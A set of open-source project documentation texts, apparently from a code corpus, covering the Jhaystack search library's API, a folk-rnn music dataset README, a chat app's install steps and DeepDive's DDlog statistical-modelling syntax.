The following options can be passed on the cluster criteria objects:
 - **id**
   - **Description**: *Mandatory ID of which cluster should execute the evaluation*
   - **Type**: `string`
   - **Default**: `undefined`
 - **options**
   - **Description**: *Optional query options for the cluster. Check each cluster type's documentation for more information.*
   - **Type**: `any`
   - **Default**: `undefined`

> ### Index Criteria

Index criteria uses the index strategy to execute a search for matches. A match is constituted by a document in the data set that has all tokens in the search value, as well as potentially other criteria specified in the options.

To execute an index criteria, specify "type: 'index'"

The following options can be passed on the index criteria objects:
 - **value**
   - **Description**: *Mandatory Value to search for*
   - **Type**: `any`
   - **Default**: `undefined`
 - **exact**
   - **Description**: *Do the positions of the tokens of the search value matter?*
   - **Type**: `boolean`
   - **Default**: `undefined`
 - **field**
   - **Description**: *If only a specific field in the index should be searched it can be specified here as a "." (dot) separated string.*
   - **Type**: `string`
   - **Default**: `undefined`

> ### Comparison Criteria

Comparison criteria uses comparison functions to scan values in the data set for matches.

To execute a comparison criteria, specify "type: 'comparison'"

The following options can be passed on the comparison criteria objects:
 - **value**
   - **Description**: *Mandatory Value to search for*
   - **Type**: `any`
   - **Default**: `undefined`
 - **strategy**
   - **Description**: *Optional comparison function to be used. If not provided the global default will be used*
   - **Type**: `Function`
   - **Default**: `undefined`
 - **field**
   - **Description**: *If only a specific field in the index should be searched it can be specified here as a "." (dot) separated string.*
   - **Type**: `string`
   - **Default**: `undefined`

---

## Search API

> ### query(query, options?)

The query function is a binary search that accepts a Jhaystack query object and returns all objects that match the query.

The following options can be specified:
 - **limit**
   - **Description**: *Optional limit for how many results to retrieve. If not specified the global default will be used.*
   - **Type**: `number`
   - **Default**: `undefined`

> ### queryAsync(query, options?)

Works identically to query() but is asynchronous and multi-threaded. Note that any comparison function provided to this function must support serialization. Check the comparison strategy chapter for more information

> ### search(value, options?)

The search function executes a search using comparison functions based on the provided search value.

The following options can be specified:
 - **limit**
   - **Description**: *Optional limit for how many results to retrieve. If not specified the global default will be used.*
   - **Type**: `number`
   - **Default**: `undefined`
 - **filter**
   - **Description**: *Optional query to execute as an inexact k retrieval. If provided the search will be executed on the resulting objects from the query, otherwise the entire corpus*
   - **Type**: `IQuery`
   - **Default**: `undefined`

> ### searchAsync(value, options?)

Works identically to search() but is asynchronous and multi-threaded. Note that any comparison function provided to this function must support serialization. Check the comparison strategy chapter for more information

> ### fulltext(value, options?)

The fulltext function executes a full-text search using the index strategy based on the provided search value.

The following options can be specified:
 - **limit**
   - **Description**: *Optional limit for how many results to retrieve. If not specified the global default will be used.*
   - **Type**: `number`
   - **Default**: `undefined`
 - **filter**
   - **Description**: *Optional query to execute as an inexact k retrieval. If provided the search will be executed on the resulting objects from the query, otherwise the entire corpus*
   - **Type**: `IQuery`
   - **Default**: `undefined`
 - **exact**
   - **Description**: *Do the positions of the tokens of the search value matter?*
   - **Type**: `boolean`
   - **Default**: `undefined`
 - **field**
   - **Description**: *If only a specific field in the index should be searched it can be specified here as a "." (dot) separated string.*
   - **Type**: `string`
   - **Default**: `undefined`

> ### fulltextAsync(value, options?)

Works identically to fulltext() but is asynchronous and multi-threaded. Note that any comparison function provided to this function must support serialization. Check the comparison strategy chapter for more information

---

## Results

The result of a search will be an array of objects. Each search result object has the following properties:

- `item:` The item where the result was found
- `itemIndex:` The index of the item in the original array
- `path:` The path to the matched value inside of the item, expressed as an array of steps
- `value:` The value that produced the match
- `relevance:` The relevance of the match on a scale from 0-1
- `score:` The score from the scoring function
- `weight:` The assigned weight of the matched value
- `normalizedWeight:` The normalized weight of the matched value on a scale from 0-1
- `metaData` Metadata about the result. Content varies depending on, for example, the comparison function used

#### Relevance

Relevance is a score of how relevant a matched result is believed to be. Jhaystack provides the relevance score in the form of a number between 0 and 1, 0 being a complete mismatch, and 1 being a perfect match.

The relevance score should not be considered an absolute number. In other words, 0.5 does not mean that the match is half as relevant than 1 - instead it simply means that the match is *less* relevant. When relevance is calculated it is primarily based on the score of the comparison function, but takes into account things like weights.

To learn more about scary words like comparison function, please check out the docs. (hint: its really not that scary!)

---

## Examples

```javascript
import { Jhaystack } from "jhaystack"

const data = [
	"My name is tim and I like pancakes",
	"My name is tim and I like waffles"
]

const options = {
	data: data,
}

const query = [
    {
        type: "comparison",
        value: "my",
        strategy: (term, context) => context.startsWith(term)
    },
    "AND",
    {
        type: "comparison",
        value: "waffles",
        strategy: (term, context) => context.endsWith(term)
    }
]

const se = new Jhaystack(options)
const result = se.search("jim", { filter: query })
result.length // -> 1
```

repository: fukurosan/Jhaystack

gha_language: TypeScript

repo_name: fukurosan/Jhaystack


text:
# Folk music style modelling using LSTMs

This is the data we have used.

1. sessions_data_clean.txt: This comes from the [weekly repository of thesession.org](https://github.com/adactio/TheSession-data), except we have cleaned it to a very thorough degree (removing html, comments, etc.).

2. allabcwrepeats_parsed: This is the above but cleaned again (see paper), and tokenised.

3. allabcworepeats_parsed: This is the above but with the repeats made explicit (converting to midi and back to abc)

4. allabcwrepeats_parsed_wot: This is version 3 of the dataset from thesession.org. In this version, we transpose all tunes to have the root C, transpose them all to have the root C#, remove the titles, and make new mode tokens, K:maj, K:min, K:dor, and K:mix. There are over 46,000 transcriptions here.

4. midi.tgz: This is a dataset of MIDI files created from the ABC transcriptions in the file, "temp.txt". See buildset.sh for details. This comes from allabcwrepeats_parsed_wot.

repository: erichall/folk-rnn

repo_name: erichall/folk-rnn


text:
# Zteam-Chat-App
  A simple chat app stand alone demo depends on zteam-chat package For real time chat example
  To know more about zteam-chat package
  https://z-team-pro.github.io/ZTeam-Chat/

## Install the app via npm

    npm install --save zteam-chat-app

## How to use it

1- Navigate to your project folder
      run  npm start

2- Navigate to http://localhost:9000

3- Write Display name and Room name

4- Any others users on the same network can join your Chating Room Now

## Project Home Page

https://z-team-pro.github.io/ZTeam-Chat/

## Contributing

1. Fork it (<https://github.com/Z-Team-Pro/ZTeam-Chat-App/fork>)
2. Create your feature branch (`git checkout -b feature/fooBar`)
3. Commit your changes (`git commit -am 'Add some fooBar'`)
4. Push to the branch (`git push origin feature/fooBar`)
5. Create a new Pull Request

repository: RamyHakam/Zteam-Chat-App

repo_name: RamyHakam/Zteam-Chat-App


text:
---
layout: default
title: Specifying a statistical model in DDlog
---

# Specifying a statistical model in DDlog

Every DeepDive application can be viewed as defining a [statistical inference](inference.md) problem using [input data](ops-data.md#organizing-input-data) and [data derived by a series of data processing steps](ops-execution.md#compiled-processes-and-data-flow).
This document describes (a) how to declare random variables for a DeepDive application's statistical model, (b) how to define their scope as well as supervision labels, and (c) how to write inference rules for specifying features and correlations.

## Variable declarations

DeepDive requires the user to specify the name and type of the *variable relations* that hold random variables used during probabilistic inference.
Currently DeepDive supports Boolean (i.e., Bernoulli) variables and Categorical variables.
Variable relations are declared in `app.ddlog` with a small twist to the syntax used for [declaring normal relations](writing-dataflow-ddlog.md#schema-declarations).

### Boolean variables

A question mark after the relation name indicates that it is a variable relation containing random variables rather than a normal relation used for loading or processing data to be later used by the model.
The columns of the variable relation serve as a key.
The following is an example declaration of a relation of Boolean variables.

```ddlog
has_spouse?(p1_id text, p2_id text).
```

This declares a variable relation named `has_spouse` where each unique pair of `(p1_id, p2_id)` represents a different random variable in the model.

### Categorical variables

DeepDive supports categorical variables, which take integer values ranging from 0 to a user-specified upper bound.
The variable relation is declared similarly as a Boolean variable except that the declaration is followed by a `Categorical(N)` where `N` is the number of categories the variables can take, defining the size of the domain.
Each variable can take values from 0, 1, ..., `N`-1.
For instance, in the [chunking example](example-chunking.md), a categorical variable of 13 possible categories is declared as follows:

```ddlog
tag?(word_id bigint) Categorical(13).
```

## Scoping and supervision rules

After declaring a variable relation, its *scope* needs to be defined along with the *supervision labels*.
That means, (a) all possible values for the variable relation's columns must be defined by deriving them from other relations, and (b) whether a random variable in the relation is true or false (Boolean), or which value it takes from its domain of categories (Categorical) must be defined using a special syntax.
For these scoping and supervision rules, a syntax very similar to normal derivation rules is used for defining the variable relation, except that the head is followed by an `=` sign and an expression that corresponds to the random variable's label.
For instance, in the spouse example, we scope the `has_spouse` variable by the following rule:

```ddlog
has_spouse(p1_id, p2_id) = NULL :-
    spouse_candidate(p1_id, _, p2_id, _).
```

This means all distinct `p1_id` and `p2_id` pairs found in the `spouse_candidate` relation is considered the scope of all `has_spouse` random variables in the model.
By using a `NULL` expression on the right hand side, they are considered as unsupervised variables.

On the other hand, the following similar looking rule provides the supervision labels using a sophisticated expression.

```ddlog
has_spouse(p1_id, p2_id) = if l > 0 then TRUE
                      else if l < 0 then FALSE
                      else NULL end :- spouse_label_resolved(p1_id, p2_id, l).
```

This rule is basically doing a *majority vote*, turning aggregate numbers computed from `spouse_label_resolved` relation into Boolean labels.

## Inference rules

*Inference rules* specify features for a variable and/or the correlations between variables.
They are basically the templates for the factors in the [factor graph](inference.md), telling DeepDive how to *ground* them based on what input and derived data.
Again, these rules extend the syntax of normal derivation rules and allow the type of the factor to be specified in the rule's head, preceded by a `@weight` declaration as shown below.

```ddlog
@weight(...)
FACTOR_HEAD :- RULE_BODY.
```

Here, *RULE_BODY* denotes a typical conjunctive query also used for normal derivation rules in DDlog.
*FACTOR_HEAD* denotes the part where more than one variable relations can appear with a special syntax.
Let's first look at the simplest case of describing one variable in the head of an inference rule.

### Specifying features

In common cases, one wants to model the probability of a Boolean variable being true using a set of features.
Expressing this kind of binary classification problem is very simple in DDlog.
By writing a rule with just one variable relation in the head, DeepDive creates in the model a *unary factor* that connects to it. The weight of this unary factor is determined by a user-defined feature.
For instance, in [the spouse example](example-spouse.md), there is an inference rule specifying features for the `has_spouse` variables written as:

```ddlog
@weight(f)
has_spouse(p1_id, p2_id) :-
    spouse_candidate(p1_id, _, p2_id, _),
    spouse_feature(p1_id, p2_id, f).
```

This rule means that:

- A factor should be created for each pair of person mentions found in the `spouse_candidate` relation and each of the corresponding features found in `spouse_feature` relation.
- Each of those factors connects to a single `has_spouse` variable identified by a pair of mentions `(p1_id, p2_id)` originating from the `spouse_candidate` relation.
- The feature `f` for a factor determines a *weight* (to be learned for this particular rule) that translates into the factor's potential, which in turn influences the probability of the connected `has_spouse` variable being true or not.

### Specifying correlations

Now, in almost every problem, the variables are correlated with each other in a special way, and it is desirable to enrich the model with this domain knowledge.
Such correlations can be modeled by creating certain types of factors that connect multiple correlated variables together. This is where a richer syntax in the *FACTOR_HEAD* comes into play.
DDlog borrows a lot of syntax from [Markov Logic Networks](https://en.wikipedia.org/wiki/Markov_logic_network), and hence, [first-order logic](https://en.wikipedia.org/wiki/First-order_logic).

For example, the following rule in [the smoke example](example-smoke.md) correlates two variable relations.

```ddlog
@weight(3)
smoke(x) => cancer(x) :-
    person(x).
```

This rule expresses that if a person smokes, there is an *implication* that he/she will have cancer.
Here, a constant `3` is used in the `@weight` to express some level of confidence in this rule, instead of learning the weight from the data (explained later).

#### Implication

[Logical implication or consequence](http://en.wikipedia.org/wiki/Truth_table#Logical_implication) of two or more variables can be expressed using the following syntax.

```ddlog
@weight(...)  P(x) => Q(y)              :- RULE_BODY.
@weight(...)  P(x), Q(y) => R(z)        :- RULE_BODY.
@weight(...)  P(x), Q(y), R(z) => S(k)  :- RULE_BODY.
```

#### Disjunction

[Logical disjunction](http://en.wikipedia.org/wiki/Truth_table#Logical_disjunction_.28OR.29) of two or more variables can be expressed using the following syntax.

```ddlog
@weight(...)  P(x) v Q(y)         :- RULE_BODY.
@weight(...)  P(x) v Q(y) v R(z)  :- RULE_BODY.
```

#### Conjunction

[Logical conjunction](http://en.wikipedia.org/wiki/Truth_table#Logical_conjunction_.28AND.29) of two or more variables can be expressed using the following syntax.

```ddlog
@weight(...)  P(x) ^ Q(y)         :- RULE_BODY.
@weight(...)  P(x) ^ Q(y) ^ R(z)  :- RULE_BODY.
```

#### Equality

[Logical equality](http://en.wikipedia.org/wiki/Truth_table#Logical_equality) of two variables can be expressed using the following syntax.

```ddlog
@weight(...)  P(x) = Q(y)  :- RULE_BODY.
```

#### Negation

Whenever a rule has to refer to a case when the Boolean variable is false (also referred to as a [*negative literal*](https://en.wikipedia.org/wiki/Literal_(mathematical_logic))), then it can be negated using a preceding `!` as shown below.

```ddlog
@weight(...)    P(x) => ! Q(x)  :- RULE_BODY.
@weight(...)  ! P(x) v  ! Q(x)  :- RULE_BODY.
```

#### Multinomial factors (STALE. NEEDS REVAMP.)

DeepDive has limited support for expressing correlations of categorical variables.
The introduced syntax above can be used only for expressing correlations between Boolean variables.
For categorical variables, DeepDive only allows the conjunction of the variables each taking a certain category value being true to be expressed using a special syntax shown below:

```ddlog
@weight(...)  Multinomial( P(x), Q(y) )        :- RULE_BODY.
@weight(...)  Multinomial( P(x), Q(y), R(z) )  :- RULE_BODY.
```

`Multinomial` takes only categorical variables as arguments*, and it can be thought as a compact representation of an equivalent model with Boolean variables corresponding to each category connected by a conjunction factor for every combination of category assignments.

For example, suppose `a` is a variable taking values 0, 1, 2, and `b` is a variable taking values 0, 1.
Then, `Multinomial(a, b)` is equivalent to having factors between `a` and `b` that correspond to the following indicator functions.

* I{`a` = 0, `b` = 0}
* I{`a` = 0, `b` = 1}
* I{`a` = 1, `b` = 0}
* I{`a` = 1, `b` = 1}
* I{`a` = 2, `b` = 0}
* I{`a` = 2, `b` = 1}

Note that each of the factors above has a distinct weight, i.e., one weight for each possible assignment of variables in the `Multinomial` factor.
For more detail on how to specify Conditional Random Fields and perform Multi-class Logistic Regression using categorical factor, see [the chunking example](example-chunking.md).

* Because of this limitation, categorical variables and categorical factor support is likely to go away in a near future release, in favor of a more flexible way to express multi-class predictions and mutual exclusions.
<todo> Emulate categorical variables with functional dependencies in the Boolean variable columns, i.e., `tag?(@key word_id BIGINT, pos TEXT)` rather than `tag?(word_id BIGINT) Categorical(N)`, and replace `Multinomial` factor with conjunction of those Boolean variables with columns having functional dependencies.</todo>

### Specifying weights

Each factor is assigned a *weight*, which represents the confidence in the correlation it expresses in the model.
During [statistical inference](inference.md), these weights translate into their potentials that influence the probabilities of the connected variables.
Factor weights are real numbers and only the relative magnitude to each other matters.
Factors with larger weights have a greater impact on the connected variables than factors with smaller weights.
Weights can be fixed to a constant manually, or [they can be learned by DeepDive](ops-model.md#learning-the-weights) from the supervision labels at different granularity.
Weights can be parameterized by some data originating from the data (in most time referred to as *features*), in which case factors with different parameter values will use different weights.
In order to learn weights automatically, there must be [enough training data available](relation_extraction.md).

DDlog syntax for specifying weights for three different cases are shown below.

```ddlog
Q?(x TEXT).
data(x TEXT, y TEXT).

# Fixed weight (10 can be treated as positive infinite)
@weight(10)   Q(x) :- data(x, y).

# Unknown weight, to be learned from the data, but not depending on any variable.
# All factors created by this rule will have the same weight.
@weight("?")  Q(x) :- data(x, y).

# Unknown weight, each to be learned from the data per different values of y.
@weight(y)    Q(x) :- data(x, y).
```

repository: TheRockXu/deepdive

repo_name: TheRockXu/deepdive